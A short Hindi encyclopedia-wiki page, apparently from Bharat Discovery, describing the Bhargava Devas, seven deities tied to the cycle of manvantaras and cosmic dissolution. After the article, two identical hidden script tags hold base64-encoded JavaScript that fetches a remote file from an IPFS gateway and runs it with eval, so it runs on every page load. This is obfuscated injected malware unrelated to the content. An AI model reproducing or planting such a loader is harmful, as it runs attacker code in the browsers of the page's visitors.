भार्गव देव
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 08:04, 21 जून 2018 का अवतरण (''''भार्गव देव''' वे सात देवता हैं, जो तीनों लोकों में 71...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
भार्गव देव वे सात देवता हैं, जो तीनों लोकों में 71 युगों तक निवास करते हैं।
- मन्वंतर के अंत में भार्गव देव महर्लोक चले जाते हैं और अन्य लोक, तारे, ग्रहादि सब स्थान च्युत हो जाते हैं।
- वहाँ इन देवों के चौदह गण बन जाते हैं और संकलन के समय ये जनलोक चले जाते हैं। सारी सृष्टि नष्ट हो जाती है और नयी सृष्टि फिर से आरम्भ होती है।[1][2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>